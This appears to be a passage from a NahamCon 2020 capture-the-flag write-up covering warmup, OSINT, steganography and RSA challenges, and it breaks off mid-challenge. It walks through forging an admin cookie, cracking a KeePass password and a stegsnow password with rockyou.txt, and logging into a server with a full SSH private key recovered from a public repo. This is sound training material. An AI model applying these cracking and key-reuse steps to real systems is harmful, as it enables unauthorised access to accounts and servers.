* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:
**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:
**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:
**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:
these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:
After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):
**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Tuｒｎs out the sｔｅganｏgrａｐhⅰc tｅcｈｎｉｑuｅ ｗe wｅｒｅ
ｕsiｎg dⅰｄｎ'ｔ rｅalｌy mａｋe
mｕcｈ ｓense.．. ｂｕｔ we ｋｅpｔ it aｎyｗａy． Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:
**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:
but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:
during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:
**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:
this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:
bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:
***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :
furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:
but if we look at a regular PNG file or Zip file we get the following bytes frequency:
we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:
**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:
it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:
## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:
we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:
now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:
I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:
